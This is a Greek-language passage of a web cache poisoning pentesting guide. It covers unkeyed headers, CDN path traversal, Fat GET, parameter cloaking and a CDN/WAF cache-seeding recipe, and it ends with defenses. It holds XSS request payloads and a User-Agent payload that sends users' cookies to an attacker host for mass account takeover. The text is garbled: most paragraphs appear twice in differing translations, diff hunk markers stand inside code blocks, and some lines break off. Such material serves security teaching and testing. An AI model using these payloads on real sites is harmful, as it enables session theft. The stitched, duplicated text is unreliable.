Η δηλητηρίαση της μνήμης cache στοχεύει στη χειραγώγηση της μνήμης cache πλευράς πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Το εύρος της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της μόλυνσης της μνήμης cache.
Cache poisoning στοχεύει στο να χειραγωγήσει την client-side cache ώστε να εξαναγκάσει τους clients να φορτώσουν πόρους που είναι απρόσμενοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Η έκταση της επίπτωσης εξαρτάται από τη δημοφιλία της επηρεασμένης σελίδας, καθώς η μολυσμένη response σερβίρεται αποκλειστικά στους χρήστες που επισκέπτονται τη σελίδα κατά τη διάρκεια της περιόδου μόλυνσης της cache.
Η εκτέλεση μιας επίθεσης δηλητηρίασης της μνήμης cache περιλαμβάνει αρκετά βήματα:
Η εκτέλεση μιας επίθεσης cache poisoning περιλαμβάνει αρκετά βήματα:
1. **Ταυτοποίηση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η ταυτοποίηση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache.
2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την ανακάλυψη του τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση.
1. **Identification of Unkeyed Inputs**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να γίνει cache ένα request, μπορούν να αλλάξουν την response που επιστρέφει ο server. Ο εντοπισμός αυτών των inputs είναι κρίσιμος καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν την cache.
2. **Exploitation of the Unkeyed Inputs**: Αφού εντοπιστούν οι unkeyed inputs, το επόμενο βήμα είναι να βρεις πώς να κακοποιήσεις αυτές τις παραμέτρους για να τροποποιήσεις τη response του server με τρόπο ωφέλιμο για τον επιτιθέμενο.
3. **Ensuring the Poisoned Response is Cached**: Το τελικό βήμα είναι να εξασφαλίσεις ότι η χειραγωγημένη response αποθηκεύεται στην cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης προσπελάσει την επηρεασμένη σελίδα ενώ η cache είναι μολυσμένη θα λάβει τη μολυσμένη response.
### Discovery: Check HTTP headers
### Ανακάλυψη: Check HTTP headers
Συνήθως, όταν μια απάντηση έχει **αποθηκευτεί στη μνήμη cache** θα υπάρχει μια **κεφαλίδα που το υποδεικνύει**, μπορείτε να ελέγξετε ποιες κεφαλίδες πρέπει να προσέξετε σε αυτή την ανάρτηση: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Συνήθως, όταν μια response έχει **αποθηκευτεί στην cache** θα υπάρχει ένα **header που το υποδεικνύει**, μπορείς να ελέγξεις ποια headers πρέπει να προσέξεις σε αυτό το post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Discovery: Caching error codes
### Ανακάλυψη: Caching error codes
Αν σκέφτεστε ότι η απάντηση αποθηκεύεται σε μια μνήμη cache, θα μπορούσατε να προσπαθήσετε να **στείλετε αιτήματα με κακή κεφαλίδα**, η οποία θα πρέπει να απαντηθεί με **κωδικό κατάστασης 400**. Στη συνέχεια, προσπαθήστε να αποκτήσετε πρόσβαση στο αίτημα κανονικά και αν η **απάντηση είναι κωδικός κατάστασης 400**, ξέρετε ότι είναι ευάλωτο (και θα μπορούσατε ακόμη και να εκτελέσετε μια DoS).
Αν νομίζεις ότι η response αποθηκεύεται σε cache, μπορείς να δοκιμάσεις να **send requests with a bad header**, τα οποία θα πρέπει να απαντηθούν με **status code 400**. Έπειτα δοκίμασε να προσπελάσεις το request κανονικά και αν η **response είναι status code 400**, ξέρεις ότι είναι ευάλωτο (και θα μπορούσες ακόμα και να εκτελέσεις ένα DoS).
Μπορείς να βρεις περισσότερες επιλογές στο:
Μπορείτε να βρείτε περισσότερες επιλογές σε:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
Ωστόσο, σημειώστε ότι **μερικές φορές αυτοί οι τύποι κωδικών κατάστασης δεν αποθηκεύονται** οπότε αυτή η δοκιμή μπορεί να μην είναι αξιόπιστη.
Ωστόσο, σημείωσε ότι **μερικές φορές αυτού του είδους οι status codes δεν αποθηκεύονται στην cache**, οπότε αυτό το τεστ μπορεί να μην είναι αξιόπιστο.
### Discovery: Identify and evaluate unkeyed inputs
### Ανακάλυψη: Identify and evaluate unkeyed inputs
Θα μπορούσατε να χρησιμοποιήσετε [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) για να **επιτεθείτε σε παραμέτρους και κεφαλίδες** που μπορεί να **αλλάζουν την απάντηση της σελίδας**. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί την κεφαλίδα `X-Forwarded-For` για να υποδείξει στον πελάτη να φορτώσει το σενάριο από εκεί:
Μπορείς να χρησιμοποιήσεις [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) για να **brute-force parameters and headers** που μπορεί να **αλλάζουν την response της σελίδας**. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί το header `X-Forwarded-For` για να υποδείξει στον client να φορτώσει το script από εκεί:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Εξαγωγή μιας επιβλαβούς απάντησης από τον διακομιστή back-end
### Elicit a harmful response from the back-end server
Με την παράμετρο/κεφαλίδα που έχει εντοπιστεί, ελέγξτε πώς **καθαρίζεται** και **πού** **αντικατοπτρίζεται** ή επηρεάζει την απάντηση από την κεφαλίδα. Μπορείτε να το εκμεταλλευτείτε με οποιονδήποτε τρόπο (να εκτελέσετε XSS ή να φορτώσετε έναν κωδικό JS που ελέγχετε; να εκτελέσετε DoS;...)
Μετά τον εντοπισμό της παράμετρου/κεφαλίδας, ελέγξτε πώς **φιλτράρεται** και **πού** **αντανακλάται** ή επηρεάζει την απόκριση από την κεφαλίδα. Μπορείτε να το καταχραστείτε (εκτελέσετε XSS ή φορτώσετε JS που ελέγχετε; προκαλέσετε DoS;...)
### Λάβετε την απάντηση που έχει αποθηκευτεί στην κρυφή μνήμη
### Get the response cached
Αφού έχετε **εντοπίσει** τη **σελίδα** που μπορεί να εκμεταλλευτεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **εκμεταλλευτείτε**, πρέπει να λάβετε τη σελίδα που έχει αποθηκευτεί στην κρυφή μνήμη. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην κρυφή μνήμη, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα.
Μόλις έχετε **εντοπίσει** τη **σελίδα** που μπορεί να καταχραστεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **καταχραστείτε**, πρέπει να βάλετε τη σελίδα στην cache. Ανάλογα με τον πόρο που προσπαθείτε να βάλτε στην cache αυτό μπορεί να πάρει λίγο χρόνο, ίσως χρειαστεί να προσπαθείτε για αρκετά δευτερόλεπτα.
Η κεφαλίδα **`X-Cache`** στην απάντηση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν έχει αποθηκευτεί στην κρυφή μνήμη και την τιμή **`hit`** όταν είναι αποθηκευμένο.\
Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρον να γνωρίζετε αν ένας πόρος αποθηκεύεται στην κρυφή μνήμη και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`
Η κεφαλίδα **`X-Cache`** στην απόκριση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το request δεν είχε cache και την τιμή **`hit`** όταν είναι cached.\
Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρουσα για να γνωρίζετε αν ένας resource cacheάρεται και πότε θα γίνει η επόμενη cache: `Cache-Control: public, max-age=1800`
Μια άλλη ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να **υποδείξει πρόσθετες κεφαλίδες** που θεωρούνται **μέρος του κλειδιού της κρυφής μνήμης** ακόμη και αν κανονικά δεν είναι κλειδωμένες. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να δηλητηριάσει την κρυφή μνήμη για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`.
Μια ακόμα ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα συχνά χρησιμοποιείται για να **υποδείξει επιπλέον κεφαλίδες** που θεωρούνται **μέρος του cache key** ακόμα κι αν συνήθως δεν είναι keyed. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να poison the cache για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`.
Μια ακόμη κεφαλίδα σχετική με την κρυφή μνήμη είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην κρυφή μνήμη του διακομιστή μεσολάβησης.
Άλλη μία κεφαλίδα σχετική με την cache είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο βρίσκεται στην proxy cache.
Όταν αποθηκεύετε ένα αίτημα στην κρυφή μνήμη, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση κρυφής μνήμης με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί.
Όταν κάνετε cache ένα request, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές απ' αυτές θα μπορούσαν να **χρησιμοποιηθούν απροσδόκητα** ως **μέρος του cache key** και το **θύμα θα χρειαστεί να χρησιμοποιήσει την ίδια κεφαλίδα**. Πάντα **δοκιμάζετε** ένα Cache Poisoning με **διαφορετικά προγράμματα περιήγησης** για να ελέγξετε αν λειτουργεί.
## Παραδείγματα Εκμετάλλευσης
## Exploiting Examples
### Ευκολότερο παράδειγμα
### Easiest example
Μια κεφαλίδα όπως το `X-Forwarded-For` αντικατοπτρίζεται στην απάντηση χωρίς καθαρισμό.\
Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την κρυφή μνήμη ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS:
Μια κεφαλίδα όπως η `X-Forwarded-For` αντανακλάται στην απόκριση χωρίς φιλτράρισμα.\
Μπορείτε να στείλετε ένα βασικό XSS payload και poison the cache ώστε όποιος επισκέπτεται τη σελίδα να υποστεί XSS:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Σημειώστε ότι αυτό θα δηλητηριάσει ένα αίτημα προς `/en?region=uk` και όχι προς `/en`_
_Σημειώστε ότι αυτό θα poison ένα request προς `/en?region=uk` και όχι προς `/en`_
### Cache poisoning to DoS
### Δηλητηρίαση cache για DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Δηλητηρίαση cache μέσω CDNs
### Cache poisoning through CDNs
Στο **[αυτό το writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** εξηγείται το εξής απλό σενάριο:
Στο **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** εξηγείται το ακόλουθο απλό σενάριο:
- Ο CDN θα αποθηκεύσει οτιδήποτε βρίσκεται κάτω από `/share/`
- Ο CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως, μπορεί να χρησιμοποιηθεί ως **path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **περιέχει το auth token**.
- Το CDN θα αποθηκεύει στην cache οτιδήποτε κάτω από `/share/`
- Το CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως μπορεί να χρησιμοποιηθεί ως **path traversal to access other sensitive locations that will be cached** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **contains the auth token**.
### Χρήση δηλητηρίασης web cache για εκμετάλλευση ευπαθειών διαχείρισης cookies
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απάντηση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απάντηση cache.
Τα Cookies μπορούν επίσης να αντανακλώνται στην απόκριση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε, για παράδειγμα, μια XSS, θα μπορούσατε να εκμεταλλευτείτε την XSS σε αρκετούς clients που φορτώνουν την κακόβουλη απόκριση της cache.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, οι κανονικές αιτήσεις θα καθαρίζουν την cache.
Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, τα τακτικά αιτήματα θα καθαρίζουν το cache.
### Δημιουργία διαφορών με διαχωριστικά, κανονικοποίηση και τελείες <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Δείτε:
Ελέγξτε:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Δηλητηρίαση cache με διαδρομή traversal για κλοπή API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning με path traversal για να κλέψετε API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Αυτή η αναφορά εξηγεί**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) πώς ήταν δυνατό να κλέψετε ένα OpenAI API key με μια διεύθυνση URL όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` επειδή οτιδήποτε ταιριάζει με `/share/*` θα αποθηκευτεί στην cache χωρίς την κανονικοποίηση της διεύθυνσης URL από το Cloudflare, κάτι που έγινε όταν η αίτηση έφτασε στον web server.
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) πώς ήταν δυνατό να κλαπεί ένα OpenAI API key με ένα URL όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` επειδή οτιδήποτε που ταιριάζει με `/share/*` θα αποθηκεύεται στο cache χωρίς το Cloudflare να ομαλοποιεί το URL, κάτι που γινόταν όταν το αίτημα έφτανε στον web server.
Αυτό εξηγείται καλύτερα και στο:
Αυτό εξηγείται επίσης καλύτερα σε:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Χρήση πολλαπλών κεφαλίδων για εκμετάλλευση ευπαθειών δηλητηρίασης cache <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους** για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε μια **Ανοιχτή ανακατεύθυνση** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα του domain για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης.
Μερικές φορές θα χρειαστεί να **exploit several unkeyed inputs** για να μπορέσετε να καταχραστείτε το cache. Για παράδειγμα, μπορεί να βρείτε ένα **Open redirect** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το domain name για την ανακατεύθυνση, μπορείτε να ελέγξετε προς ποια διεύθυνση δείχνει η σελίδα μέσω της ανακατεύθυνσης.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Εκμετάλλευση με περιορισμένο `Vary` header
### Εκμετάλλευση με περιορισμένο `Vary`header
Αν διαπιστώσετε ότι το **`X-Host`** header χρησιμοποιείται ως **όνομα τομέα για τη φόρτωση ενός JS πόρου** αλλά το **`Vary`** header στην απάντηση υποδεικνύει **`User-Agent`**. Τότε, πρέπει να βρείτε έναν τρόπο να εξάγετε το User-Agent του θύματος και να δηλητηριάσετε την cache χρησιμοποιώντας αυτό το user agent:
Αν διαπιστώσεις ότι το **`X-Host`** header χρησιμοποιείται ως **όνομα domain για τη φόρτωση ενός JS resource** αλλά το **`Vary`** header στην απάντηση υποδεικνύει **`User-Agent``. Τότε χρειάζεται να βρεις τρόπο να exfiltrate τον `User-Agent` του victim και να poison την cache χρησιμοποιώντας αυτόν τον user agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -133,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
Στείλτε ένα GET αίτημα με το αίτημα στο URL και στο σώμα. Αν ο web server χρησιμοποιεί αυτό από το σώμα αλλά ο cache server αποθηκεύει αυτό από το URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως η ευπάθεια που βρήκε ο James Kettle στον ιστότοπο του Github:
Στείλε ένα GET αίτημα με τα δεδομένα τόσο στο URL όσο και στο σώμα. Αν ο web server χρησιμοποιεί αυτά από το σώμα, αλλά ο cache server κάνει cache αυτά από το URL, οποιοσδήποτε που προσπελάσει αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως το vuln που βρήκε ο James Kettle στο Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -142,39 +146,39 @@ Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
Υπάρχει ένα PortSwigger lab γι' αυτό: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
Για παράδειγμα, είναι δυνατόν να διαχωρίσετε **παραμέτρους** σε διακομιστές ruby χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό θα μπορούσε να χρησιμοποιηθεί για να τοποθετήσετε τις τιμές παραμέτρων χωρίς κλειδί μέσα σε αυτές με κλειδί και να τις εκμεταλλευτείτε.
Για παράδειγμα, είναι δυνατόν να διαχωριστούν οι **parameters** σε ruby servers χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό μπορεί να χρησιμοποιηθεί για να τοποθετήσετε τιμές μη-κλειδωμένων parameters μέσα σε κλειδωμένα και να τα εκμεταλλευτείτε.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Μάθετε εδώ πώς να εκτελέσετε [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Μάθετε εδώ πώς να πραγματοποιήσετε [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automated testing for Web Cache Poisoning
Ο [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) μπορεί να χρησιμοποιηθεί για αυτόματη δοκιμή για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι πολύ παραμετροποιήσιμος.
Το [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) μπορεί να χρησιμοποιηθεί για αυτόματο έλεγχο για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι ιδιαίτερα παραμετροποιήσιμο.
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Αυτό το πραγματικό μοτίβο αλυσίδωει μια βασισμένη σε κεφαλίδα ανακλαστική πρωτοβουλία με τη συμπεριφορά CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:
Αυτό το μοτίβο από πραγματικά περιβάλλοντα συνδέει ένα header-based reflection primitive με τη συμπεριφορά ενός CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:
- Το κύριο HTML αντανάκλασε μια μη αξιόπιστη κεφαλίδα αιτήματος (π.χ., `User-Agent`) σε εκτελέσιμο πλαίσιο.
- Ο CDN αφαίρεσε τις κεφαλίδες cache αλλά υπήρχε μια εσωτερική/προέλευσης cache. Ο CDN επίσης αυτο-καταχώρισε αιτήματα που τελείωναν σε στατικές επεκτάσεις (π.χ., `.js`), ενώ ο WAF εφαρμοζε ασθενέστερη επιθεώρηση περιεχομένου σε GETs για στατικά περιουσιακά στοιχεία.
- Οι ιδιορρυθμίες ροής αιτήσεων επέτρεψαν σε ένα αίτημα σε μια διαδρομή `.js` να επηρεάσει το κλειδί/παραλλαγή cache που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω ανακλαστικής κεφαλίδας.
- Το κύριο HTML αντέστρεφε ένα μη-έμπιστο request header (π.χ., `User-Agent`) σε εκτελέσιμο context.
- Το CDN αφαίρεσε τα cache headers αλλά υπήρχε εσωτερικό/origin cache. Το CDN επίσης auto-cached requests που τελειώνουν σε static extensions (π.χ., `.js`), ενώ το WAF εφάρμοζε ασθενέστερο content inspection για GETs στα static assets.
- Ατέλειες στη ροή των requests επέτρεψαν σε ένα αίτημα προς μονοπάτι `.js` να επηρεάσει το cache key/variant που χρησιμοποιήθηκε για το επόμενο main HTML, επιτρέποντας cross-user XSS μέσω header reflection.
Practical recipe (observed across a popular CDN/WAF):
1) Από μια καθαρή IP (αποφύγετε τις προηγούμενες υποβαθμίσεις βάσει φήμης), ορίστε ένα κακόβουλο `User-Agent` μέσω του προγράμματος περιήγησης ή του Burp Proxy Match & Replace.
2) Στο Burp Repeater, προετοιμάστε μια ομάδα δύο αιτημάτων και χρησιμοποιήστε "Send group in parallel" (λειτουργία single-packet λειτουργεί καλύτερα):
- Πρώτο αίτημα: GET μια διαδρομή πόρου `.js` στην ίδια προέλευση ενώ στέλνετε το κακόβουλο `User-Agent` σας.
- Άμεσα μετά: GET την κύρια σελίδα (`/`).
3) Ο αγώνας δρομολόγησης CDN/WAF συν το αυτο-καταχωρημένο `.js` συχνά σπέρνει μια δηλητηριασμένη παραλλαγή cached HTML που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες κλειδιού cache (π.χ., ίδιες διαστάσεις `Vary` όπως `User-Agent`).
1) Από ένα clean IP (αποφύγετε προηγούμενες ποινές βάσει reputation), ορίστε ένα malicious `User-Agent` μέσω browser ή Burp Proxy Match & Replace.
2) Στο Burp Repeater, προετοιμάστε ένα group δύο requests και χρησιμοποιήστε "Send group in parallel" (το single-packet mode δουλεύει καλύτερα):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- Immediately after: GET the main page (`/`).
3) Ο αγώνας δρομολόγησης CDN/WAF μαζί με το auto-cached `.js` συχνά σπέρνει ένα poisoned cached HTML variant που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες cache key (π.χ., ίδιες `Vary` διαστάσεις όπως `User-Agent`).
Example header payload (to exfiltrate non-HttpOnly cookies):
```
@ -182,86 +186,101 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
```
Operational tips:
- Πολλές CDNs κρύβουν τις κεφαλίδες cache; η δηλητηρίαση μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλές IP vantage και περιορίστε την ταχύτητα για να αποφύγετε τα triggers περιορισμού ρυθμού ή φήμης.
- Η χρήση μιας IP από το δικό cloud της CDN μερικές φορές βελτιώνει τη συνέπεια δρομολόγησης.
- Εάν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να λειτουργεί εάν η αντανάκλαση εκτελείται στο κύριο HTML πλαίσιο και το CSP επιτρέπει την εκτέλεση inline ή παρακάμπτεται από το πλαίσιο.
- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
- Using an IP from the CDN's own cloud sometimes improves routing consistency.
- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
Impact:
- Εάν τα session cookies δεν είναι `HttpOnly`, είναι δυνατή η zero-click ATO με τη μαζική εξαγωγή του `document.cookie` από όλους τους χρήστες που εξυπηρετούνται από το δηλητηριασμένο HTML.
- If session cookies arent `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
Defenses:
- Σταματήστε να ανακλάτε τις κεφαλίδες αιτήσεων στο HTML; κωδικοποιήστε αυστηρά το πλαίσιο εάν είναι αναπόφευκτο. Ευθυγραμμίστε τις πολιτικές cache της CDN και της προέλευσης και αποφύγετε τις μεταβολές σε μη αξιόπιστες κεφαλίδες.
- Βεβαιωθείτε ότι το WAF εφαρμόζει την επιθεώρηση περιεχομένου με συνέπεια σε αιτήσεις `.js` και στατικές διαδρομές.
- Ορίστε `HttpOnly` (και `Secure`, `SameSite`) στα session cookies.
- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
## Vulnerable Examples
### Sitecore preauth HTML cache poisoning (μη ασφαλής XAML Ajax reflection)
